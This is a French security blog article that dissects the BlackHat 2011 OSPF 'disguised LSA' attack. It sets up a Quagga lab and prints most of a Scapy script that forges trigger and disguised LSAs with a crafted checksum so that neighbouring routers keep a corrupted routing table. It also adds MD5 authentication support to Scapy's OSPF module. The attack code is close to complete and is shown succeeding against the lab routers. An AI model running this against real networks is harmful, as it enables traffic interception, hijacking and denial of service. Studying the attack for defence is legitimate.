OSPF : All your routes belongs to us …

OSPF : All your routes belongs to us …

(english version available OSPF_disguised_lsa )

Aujourd’hui nous allons nous intéresser à la sécurité des réseaux et notamment aux protocoles de routage dont OSPF.

Récemment une attaque a été publiée à la conf BlackHat par Alex Kirshon, Dima Gonikman et Gabi Nakibly, nous allons la décortiquer, l’automatiser, mais également ajouter la couche d’authentification OSPF par message digest au célèbre outil Scapy.

Tout d’abord l’intérêt de cette vulnérabilité réside dans le fait de pouvoir contrôler la table de routage de routeurs voisins (Il est à noter que l’adjacence entre les routeurs doit déjà être effectuée.)

On imagine dès lors le potentiel à notre portée :

  • DoS
  • Interception de trafic
  • Détournement
  • Etc, etc…

De plus l’attaque s’effectuant  au niveau du protocole de routage (OSPFv2 – RFC 2328), elle est normalement multiplateforme. (CISCO, JUNIPER …)

Le but de cet article est d’apporter un complément de compréhension à cette attaque (en expliquant les différentes étapes), ainsi que d’enrichir celle-ci en l’automatisant.

Contenu :

 

  • Explication détaillé de l’attaque
  • Script d’automatisation

 

En bonus :

 

  • Prise en charge de l’authentification OSPF par message digest au sein du module Scapy associé. (modification du module OSPF.py)

 

Outils utilisés :

 

  • Quagga
  • Scapy
  • Wireshark

 

Rappel sur OSPF :

(Je n’aborde ici que la partie traitée dans l’attaque à savoir les LSA Update.)

Afin d’informer la liste des réseaux auquel un routeur est connecté, celui-ci communique sa liste par des messages Link-state advertisements (LSA) qui se propagent à tous les routeurs du réseau.

L’ensemble des LSA forme ensuite une base de données de l’état des liens Link-State Database (LSDB), qui est normalement identique pour tous les routeurs participants, il s’agit de cette propriété que nous allons tenter d’altérer.

Les points clés de l’attaque:

Le Fight Back:

N’importe quel routeur réceptionnant un LSA le listant en tant qu’advertising routeur, inspecte le contenu du LSA et si celui-ci n’est pas cohérant, il renvoi immédiatement un LSA qui écrase  l’ancien.

Retour sur la RFC :

Deux LSA sont considérés identiques s’ils répondent aux critères suivants :

  • Le même « sequence number »
  • Le même « checksum value »
  • Le même « age »  (à 15 min près)

Les autres champs ne sont donc pas considérés si ces trois critères sont remplis. C’est donc cette propriété que nous allons utiliser pour accomplir notre attaque.

L’attaque concrète :

 

Etapes:

 

  1. Envoi d’un paquet LSA formé spécialement pour usurper un LSA de R1
  2. Envoi en simultané du paquet précédent d’un « disguised LSA » construit spécialement pour correspondre au LSA de fight back de R1 (même sequence number, checksum, et age, cf section Retour sur la RFC). (Pour se faire nous rajouterons un lien factice dans le LSA Upd)
  3. R1 envoi le fight back LSA, qui sera rejeté car R2 possède déjà un LSA équivalent forgé à l’étape 2.
  4. R2 flood le disguised LSA, R1 reçoit le paquet mais le rejette à son tour celui-ci étant vu comme identique à celui envoyé à l’étape (3).

 

En somme après l’attaque, R1 et R2 possèdent une LSDB différente, cette situation perdure jusqu’à la prochaine mise à jour de la base LSA. (30 minutes par défaut)

Les 3 champs du disguised LSA peuvent être prédéterminés :

  • Le champ « age » est mis à 0 dans le premier spoof LSA (1) , il sera ensuite compris entre 0 et 15 min pour le disguised LSA.
  • Le champ « sequence number » doit être égal à x+1 où x est le « sequence number » du spoof LSA.
  • Le Checksum (détaillé par la suite)

 

L’attaque décrite ci-dessus emploi l’unicast en envoyant successivement le paquet trigger vers le routeur usurpé puis le paquet disguise vers le routeur victime. Une autre implémentation de cette attaque est possible en utilisant le multicast  pour avertir consécutivement  le paquet « trigger » puis « disguise », dès lors l’attaque se propage au niveau de tous les routeurs de l’AS amplifiant la sévérité de celle-ci.

En contrepartie l’attaque est soumise à une nouvelle variable : le temps d’émission du paquet de fight back. Il s’agit dès lors d’une « race condition » entre notre paquet disguise et le paquet fight back du routeur usurpé, le premier paquet arrivant faisant fois aux yeux des autres routeurs.

Dans la suite du Lab, Nous utiliserons cette implémentation qui semble plus efficace.

Maintenant place au calcul du checksum.

 

Calcul du Checksum : Math moi ca !

 

Voici le code utilisé dans le module ospf de scapy pour résoudre le checksum (il s’agit d’un checksum de Fletcher.)

def calcul_c0_c1(lsa_build):

    CHKSUM_OFFSET = 16

    if len(lsa_build) < CHKSUM_OFFSET:

        raise Exception(« LSA Packet too short (%s bytes) » % len(lsa))

    c0 = c1 = 0

    # Calculation is done with checksum set to zero

    lsa_build = lsa_build[:CHKSUM_OFFSET] + « \x00\x00 » + lsa_build[CHKSUM_OFFSET + 2:]

    for char in lsa_build[2:]:  #  leave out age

        c0 += ord(char)

        c1 += c0

    c0 %= 255

    c1 %= 255

    x = ((len(lsa) – CHKSUM_OFFSET – 1) * c0 – c1) % 255

    if (x <= 0):

      x += 255

    y = 510 – c0 – x

    if (y > 255):

      y -= 255

 #checksum = (x << 8 ) + y

 return chr(x) + chr(y)

Afin d’obtenir le checksum, il s’agit ici de calculer les deux suites c0 et c1 :

  • c0  représente la somme des octets des champs du LSA_Upd (excepté l’age du LSA_Upd qui est représenté par les 2 premiers octets, d’où l’initialisation à lsa_build[2 :] dans le code)
  • c1 représente la somme de la suite des termes de c0

Le calcul de c0 est trivial, il s’agit d’ajouter tout les champs du paquet LSA_Upd.

Le calcul de c1 est un peu plus complexe, l’emplacement des champs et la taille entrant en compte dans le calcul. En effet dès qu’un champ est ajouté dans c0, il est continuellement ajouté à chaque itération de c1, ainsi les champs arrivant en premières positions ont un « poids » plus fort. (cf : structure suite c1).

Voici un aperçu d’une trame LSA update tronquée (sans la partie Ethernet et IP) :

###[ OSPF Header ]###

        version   = 2

        type      = LSUpd

        len       = 76

        src       = 10.0.2.3

        area      = 0.0.0.0

        chksum    = 0xd7c4

        authtype  = Null

        authdata  = 0x0

###[ OSPF Link State Update ]###

           lsacount  = 1

           \lsalist   \

            |###[ OSPF Router LSA ]###

            |  age       = 1

            |  options   = E

            |  type      = 1

            |  id        = 10.0.2.3

            |  adrouter  = 10.0.2.3

            |  seq       = 0x80002676L

            |  chksum    = 0x2319

            |  len       = 48

            |  flags     =

            |  reserved  = 0

            |  linkcount = 2

            |  \linklist  \

            |   |###[ OSPF Link ]###

            |   |  id        = 10.0.2.1

            |   |  data      = 10.0.2.3

            |   |  type      = transit

            |   |  toscount  = 0

            |   |  metric    = 10

            |   |###[ OSPF Link ]###

            |   |  id        = 10.0.3.2

            |   |  data      = 10.0.3.3

            |   |  type      = transit

            |   |  toscount  = 0

            |   |  metric    = 10

 

La partie nous intéressant commence à partir du champ OSPF Router LSA

 

Structure de la suite c1

On déduit de la suite, la structure globale en fonction de la pondération de chaque champ: (il y a 22 octet dans l’entête LSA_Upd)

 # Ici, les champs ont deux entrées pour marquer l’octet de début et de fin du champ. (Ex : id commence à l’octet 2 et fini à l’octet 5)

Lsa_Upd =  {« option »:[length – 0,length – 0], « type »:[length -1,length -1], « id »:[length -2,length -5], « adr »:[length -6,length -9], « seq »:[length -10,length -13], « chksum »:[length -14,length -15], « len »:[length -16,length -17], « flag »:[length -18,length -19], « count »:[length -20,length -21], « link »:num_link}

Ainsi pour une length =  46 on a la pondération suivante :

Option : 46

Type : 45

Id : 44..41              # id = 4 octets

Adr : 40..37           # adr = 4 octets

De plus, pour une taille de 46 nous avons 2 liens ( Length_base + 2 * link_base = 22 + 2 * 12 = 46) , or un lien est représenté par les champs:

# Un LSA_link (id,data,type,tos,metric)

link = { « id_link »:[], « data_link »:[], « type_link »:[], « Tos_link »:[], « metric_link »:[]}

# Pondération de chaque lien en fonction du nombre de lien et de la taille du paquet. (où i est le numéro du lien.)

link[« id_link »] = [(length-22)-(i*12),(length-25)-(i*12)]

link[« data_link »] = [(length-26)-(i*12),(length-29)-(i*12)]

link[« type_link »] = [(length-30)-(i*12),(length-30)-(i*12)]

link[« Tos_link »] = [(length-31)-(i*12),(length-31)-(i*12)]

link[« metric_link »] = [(length-32)-(i*12),(length-33)-(i*12)]

 

L’essentiel:

 

La chose importante à retenir de ce bref aparté sur les suites est que chaque champ possède une pondération différente selon son ordre d’introduction dans la suite.

Ainsi, pour réussir l’attaque nous allons insérer un dernier lien factice à la trame pour modifier  à notre guise le checksum.

Or pour le dernier lien nous aurons toujours la pondération suivante, indépendamment de la taille:

# « metric »:[1], « Tos »:[3], « type »:[4], « link_data »:[5,6,7,8], « id »:[9,10,11,12]

Ainsi nous obtenons le système d’équation linéaire suivant en rajoutant notre lien factice:

# Les 2 suites étant passées au modulo 255 (% 255), ceci s’applique également au système d’équation linéaire

Comme nous sommes des fainéants informaticiens, nous utiliserons par la suite numpy pour résoudre les systèmes d’équations linéaires.

 

Place à la pratique :

Le Lab:

Quagga:

Installation Quagga:

apt-get install quagga

Pour cette exemple nous décidons de n’utiliser que la partie ospf, pour se faire il faut éditer le fichier /etc/quagga/daemons :

zebra=yes
bgpd=no
ospfd=yes
ospf6d=no
ripd=no
ripngd=no

cp /usr/share/doc/quagga/examples/zebra.conf.sample /etc/quagga/zebra.conf
cp /usr/share/doc/quagga/examples/ospfd.conf.sample /etc/quagga/ospfd.conf

Par la suite : nous éditons  le fichier debian.conf pour qu’il écoute sur tous les IPs. (il suffit pour cela de retirer l’option –A)

vtysh_enable=yes
zebra_options= »–daemon »
bgpd_options= »–daemon »
ospfd_options= »–daemon »
ospf6d_options= »–daemon »
ripd_options= »–daemon »
ripngd_options= »–daemon »
isisd_options= »–daemon »

Afin d’éditer directement tout les daemons à la fois nous utilisons le vty, pour se faire il faut d’abord recopier le fichier sample

cp /usr/share/doc/quagga/examples/vtysh.conf.sample /etc/quagga/vtysh.conf

TIP :

Je recommande de désactiver la ligne :  « service integrated-vtysh-config », ce qui permet de stocker pour chaque daemon la conf dans le bon fichier  (après un wr mem)

je vous conseille également de rajouter la ligne suivante (qui evite d’avoir la page  de confirmation de commande à chaque commande exécuté dans le vty (END) ), il suffit alors de quitter sa session puis d’en ouvrir une nouvelle.

echo VTYSH_PAGER=more > /etc/environment

On active ensuite le forwarding ip :

echo « 1 » > /proc/sys/net/ipv4/ip_forward

Pour que le changement devienne persistant : echo « net.ipv4.ip_forward = 1 » >> /etc/sysctl.conf

chown quagga.quaggavty /etc/quagga/*.conf
chmod 640 /etc/quagga/*.conf

On restart ensuite les daemons quagga :

/etc/init.d/quagga restart

On vérifie que tout fonctionne correctement :

Vtysh

Show ip forwarding 

>  IP forwarding is on

Passons maintenant à la conf :

Ex  pour rt3 :

Conf t

Interface eth0 (le nom de la bonne interface)

Ip address 10.0.1.2

No shut

Exit

Interface eth1

Ip address 10.0.3.2

No shut

exit

Router ospf

Network 10.0.1.0/24 area 0.0.0.0

Network 10.0.3.0/24 area 0.0.0.0

Exit

Exit

Wr mem

 

Morceau du script:

 

Initialisation :

#! /usr/bin/env python

# Import des modules/librairies.

from scapy.all import *

import numpy as np

from math import *

# Load le module scapy ospf

load_contrib(« ospf »)

# Lis une capture provenant de Wireshark

pkts=rdpcap(« template_ospf_upd.pcap »)

# recupere un LSA_upd valide (necessaire pour calculer le fight back)

original_pkt = pkts[9]                                                   # paquet n 9 de la capture

# Copie du paquet original (template)

h = original_pkt.copy()

Nous aurions très bien pu en construire un de toute pièce avec la commande suivante :

# « h=Ether(src=’xx:xx:xx:             xx:xx:xx’, dst=’01:00:5e:00:00:05′, type=2048)/IP(frag=0L, src=’10.0.1.1′, proto=89, tos=192, dst=’224.0.0.5′, chksum=18157, len=108, options=[], version=4L, flags=0L, ihl=5L, ttl=1, id=34438)/OSPF_Hdr(src=’10.0.6.1′, authtype=0, keyid=None, reserved=None, seq=None, area=’0.0.0.0′, authdatalen=None, authdata=0, len=88, version=2, chksum=5752, type=4)/OSPF_LSUpd(lsacount=1, lsalist=[OSPF_Router_LSA(adrouter=’10.0.6.1′, seq=2147483670L, linkcount=3, age=1, len=60, id=’10.0.6.1′, linklist=[OSPF_Link(reserved=None, tos=None, metric=10, tosmetric=None, data=’10.0.1.1′, toscount=0, type=2, id=’10.0.1.2′),OSPF_Link(reserved=None, tos=None, metric=10, tosmetric=None, data=’10.0.2.1′, toscount=0, type=2, id=’10.0.2.3′),OSPF_Link(type=3, metric=10, data=’255.255.255.0′, id=’10.0.6.0′, toscount=0)], flags=0L, chksum=61609, reserved=0, type=1, options=2L)]) »

La partie configuration de notre disguise LSA

#######################  Configuration de la trame  #######################

# Definition des variables de l’attaque

victim_Interface = ‘10.0.3.3’                      # interface du routeur victime

victim_Id = ‘10.0.2.3’                                # id du routeur victime

victim_Voisin = ‘10.0.3.2’                         # IP vers laquel on envoit le disguise LSA (ou multicast)

spoof_IP = ‘10.0.1.1’                                # Spoof IP d’un voisin (ou l’ip de l’attaquant)

seq_gen= 0x80005200                            #Sequence du paquet trigger et disguise = trigger +1

##### Partie IP #####

h[IP].src = spoof_IP

h[IP].dst = ‘224.0.0.5’                              #Multicast ou victim_Voisin

h[IP].chksum = None                              # Force le calcul du checksum du paquet IP

h[IP].len = None                                     # Force le calcul de la taille du paquet IP

##### Header OSPF ####

h[OSPF_Hdr].chksum = None

h[OSPF_Hdr].len = None                          # Force le calcul de la taille pour l’entete OSPF_Hdr

h[OSPF_Hdr].src= victim_Id

##### LSA Upd #####

h[OSPF_Router_LSA].seq = seq_gen

h[OSPF_Router_LSA].chksum = None

h[OSPF_Router_LSA].adrouter = victim_Id

h[OSPF_Router_LSA].id = victim_Id

##### Modification d’un link particulier selon le besoin de l’attaque que l’on souhaite réaliser. (ex: j’augmente la valeur « metric » pour détourner le trafic)

#h[OSPF_Router_LSA].linklist[0].type = valeur_a_changer

h[OSPF_Router_LSA].linklist[0].metric = 30

h[OSPF_Router_LSA].linklist[1].metric = 30

#h[OSPF_Router_LSA].linklist[0].data = valeur_a_changer

#h[OSPF_Router_LSA].linklist[0].id = valeur_a_changer

#h[OSPF_Router_LSA].linklist[0].toscount = valeur_a_changer

Calcul des suites c0 et c1 du fight back :

def calcul_next_checksum(lsa):

    next_lsa  =  lsa.copy()

    # Incremente la sequence de 1

    next_lsa[OSPF_Router_LSA].seq= lsa[OSPF_Router_LSA].seq+1

    # Construit la portion de trame sous forme hexadecimal pour chaque octet

    next_lsa_chk = next_lsa[OSPF_Router_LSA].build()

    nextc0,nextc1 = calcul_c0_c1(next_lsa_chk)

    return nextc0,nextc1

 # la fonction calcul_c0_c1 est identique à la première partie du code du checksum du module ospf de scapy.

Calcul du checksum de façon automatisé :

Je ne détaille pas le code ici (function dummy_link), il s’agit juste d’une aide, prenons le cas d’un système d’équation à deux inconnus avec numpy

# Ex:

# Tos + type = 2

# 3 Tos + 5 type = 12

# se transforme en : A = ([1,1],[3,5]) ; B = [2,12]

A = np.array([[1,1], [3,5]])

B = np.array([2,12])

x= np.linalg.solve(A, B)

Attaque :

#Trigger packet

trigger = h.copy()

# Calcul du Fight Back

original_pkt[OSPF_Router_LSA].seq = seq_gen

rep0,rep1 = calcul_next_checksum(original_pkt)

# Initialisation du packet disguise

h[OSPF_Router_LSA].seq = original_pkt[OSPF_Router_LSA].seq+1

# Rajout d’un OSPFLink vide au LSA_disguise, afin de le modifier plus tard.(checksum)

h[OSPF_Router_LSA].linklist=[h[OSPF_Router_LSA].linklist[0],h[OSPF_Router_LSA].linklist[1],OSPF_Link(type=0,metric=0,data=’0.0.0.0′, id=’0.0.0.0′,toscount=0)]

# Mise en conformité du nouveau paquet (augmentation taille + nb lien)

h[OSPF_Router_LSA].len += 12

h[OSPF_Router_LSA].linkcount += 1

# reconstruit la chaine hexa des octets

newlink = h[OSPF_Router_LSA].build()

newc0,newc1 = calcul_c0_c1(newlink)

# Recuperation des valeurs a modifier (retourne un couple champ,valeur ex: ind = [1,4], val = [49,12] -> metric=49 et type=12 , cf ligne-suivante)

# « metric »:[1], « Tos »:[3], « type »:[4], « link_data »:[5,6,7,8], « DR »:[9,10,11,12]

ind,val = dummy_link(rep0,rep1,newc0,newc1)

# modification du OSPFLink

link = [0,0,0,0,0,0,0,0,0,0,0,0,0]

for i in range(2):

        position = ind[i]

        link[position] = val[i]

ospf_link = OSPF_Link(type=int(link[4]),metric=int(link[1]),data=str(int(link[8]))+ « . » +str(int(link[7]))+ « . » +str(int(link[6]))+ « . » +str(int(link[5])), id= str(int(link[12]))+ « . » +str(int(link[11]))+ « . » +str(int(link[10]))+ « . » +str(int(link[9])), toscount=int(link[3]))

 h[OSPF_Router_LSA].linklist[h[OSPF_Router_LSA].linkcount]= ospf_link

# Envoi des paquets.

 sendp(trigger)  # Trigger

sendp(h)        # Lsa Disguise

 

Résultats:

 

Voici la database ospf avant l’attaque des différents routeurs :

A l’aide de Wireshark, nous suivons les différents échanges :

1. Envoi d’un paquet LSA formé spécialement pour usurper un LSA de R1

En premier apparait le paquet dit « trigger » servant à provoquer une réponse du router rt4 (id = 10.0.2.3) la séquence est configuré à : 80005200 et la metric (30) étant fausse, celle-ci devrait provoquer un fight back sous forme de LSA Update de la part de rt4.

2. Envoi en simultané du paquet précédent d’un « disguised LSA » construit spécialement pour correspondre au LSA de fight back de rt4

3. R1 envoi le fight back LSA, qui sera rejeté car R2 possède déjà un LSA équivalent forgé à l’étape 2.

Comparaison des deux paquets :

Le paquet 10 (gauche) est notre disguise LSA tandis que le paquet 13 est le fight back de rt4.

Ces deux paquets comportent le même sequence number, checksum et age (+/- 15 min)

4. R2 flood le disguised LSA, R1 reçoit le paquet mais le rejette à son tour celui-ci étant vu comme identique à celui envoyé à l’étape (3).

Nous vérifions ensuite la database du routeur rt3 qui devrait être corrompu :

Notre attaque à pleinement réussie.

La database est effectivement corrompue jusqu’à la prochaine mise à jour de celle-ci (toute les 30 mins par défaut)


Note Importante :

–          Afin de réaliser l’attaque correctement en multicast, une latence à été générée au niveau de rt4, en effet celui-ci renvoyait le paquet fight back avant même que le paquet disguise ne soit envoyé (en moins d’une milliseconde)


Authentification OSPF – scapy :

 

Implémentation du message digest pour OSPF. (scapy/contrib/ospf.py)

Rajout du Header Auth MD5 qui sera utilisé :

#  Class Auth MD5

class OSPF_Hdr_Auth_md5(Packet):

# Implementation faite uniquement pour le md5 (16 bytes)

name = « OSPF Header Auth »

fields_desc = [

                           StrFixedLenField(« authdata »,None,16)

                          ]

Méthode Get et Set pour mettre à jour la clé OSPF, qui sera appelé par scapy a l’aide de la commande : OSPF_Auth_SetKey(« key »)

md5_key = « secret »

# Get/Set the ospf key

def  OSPF_Auth_SetKey(key):

   global md5_key

   md5_key = key

def  OSPF_Auth_GetKey():

   return md5_key

Modification du OSPF_Hdr pour tenir compte de l’authentification par md5, le changement est fait dans la fonction post_build(), qui permet d’ajouter des modification au paquet après que la paquet soit construit (build() fonction).

Ceci est souvent utilisé pour mettre à jour la taille des champs ainsi que le checksum, nous l’utilisons également pour gérer l’authentification.

(Note : Pour visualiser la modification il faut utiliser la commande show2() qui lance le post_build() contrairement à la commande show()).

def post_build(self, p, pay):

        # TODO: Remove LLS data from pay

        # LLS data blocks may be attached to OSPF Hello and DD packets

        # The length of the LLS block shall not be included into the length of OSPF packet

        # See <http://tools.ietf.org/html/rfc5613>

        p += pay

        l = self.len

        if l is None:

            l = len(p)

            p = p[:2] + struct.pack(« !H », l) + p[4:]

        if self.chksum is None:

            if self.authtype == 2:

                ck = 0   # Crypto, see RFC 2328, D.4.3

                   hash_md5 = hashlib.md5()

                secret = OSPF_Auth_GetKey()  # Get the md5 key/length

                   # Calcul of authdata

                p = p[:l] + secret + « \x00″*(16-len(secret))

                   hash_md5.update(p)

                # Adding the authdata payload at the end of the paquet

                p = p[:l] + hash_md5.digest()

            else:

                # Checksum is calculated without authentication data

                # Algorithm is the same as in IP()

                ck = checksum(p[:16] + p[24:])

                p = p[:12] + chr(ck >> 8 ) + chr(ck & 0xff) + p[14:]

             return p

Nous allons maintenant préciser à scapy les différentes combinaisons possible d’entêtes (layers) pour qu’il reconnaisse en fin de paquet notre entête OSPF_Hdr_Auth_md5 que nous avons construit précédemment.

bind_layers(OSPF_Hdr, OSPF_LSUpd,                  )

bind_layers(OSPF_Hdr, OSPF_LSAck,                   )

bind_layers(OSPF_LSUpd,          OSPF_Hdr_Auth_md5, )

bind_layers(OSPF_LSAck,           OSPF_Hdr_Auth_md5, )

bind_layers(OSPF_LSReq,     OSPF_Hdr_Auth_md5,      )

bind_layers(OSPF_DBDesc,    OSPF_Hdr_Auth_md5,  )

Nous disposons maintenant de l’authentification OSPF lors de nos créations de paquets.

Marc Lair.

Téléchargement :

  • Module Scapy modifié : module_scapy_ospf
  • Le script réalisant l’attaque est fourni sur demande

 

Références :

L’attaque présentée à la BH-us-2011 :

Scapy :

RFC OSPF et MD5 :